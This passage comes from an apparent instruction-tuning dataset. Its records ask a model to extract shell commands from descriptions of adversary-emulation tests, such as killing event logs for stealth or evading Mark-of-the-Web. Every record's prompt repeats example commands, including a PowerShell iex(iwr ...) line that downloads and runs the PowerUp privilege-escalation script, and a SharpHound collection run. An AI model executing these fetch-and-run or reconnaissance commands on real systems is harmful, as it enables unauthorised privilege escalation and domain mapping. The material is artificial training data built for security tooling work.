\"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Identify the system owner or current user using native Windows command prompt utilities.", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Utilize get-wmiObject PowerShell cmdlet to identify processes.\n\nUpon successful execution, powershell.exe will execute get-wmiObject to list processes. Output will be via stdout. \n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Utilizing PowerView, run Get-DomainGroupMember to identify domain users. Upon execution, progress and info about groups within the domain being scanned will be displayed.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The Adversaries can activate the default Guest user. The guest account is inactivated by default\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Mounts ISO image downloaded from internet to evade Mark-of-the-Web. Upon successful execution, powershell will download the .iso from the Atomic Red Team repo, and mount the image. The provided sample ISO simply has a Reports shortcut file in it. Reference: https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Kill the event log services for stealth via function of WinPwn", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Download and execute shell script and write to file then execute locally using Python -c (command mode)", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.\n\nThe named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - 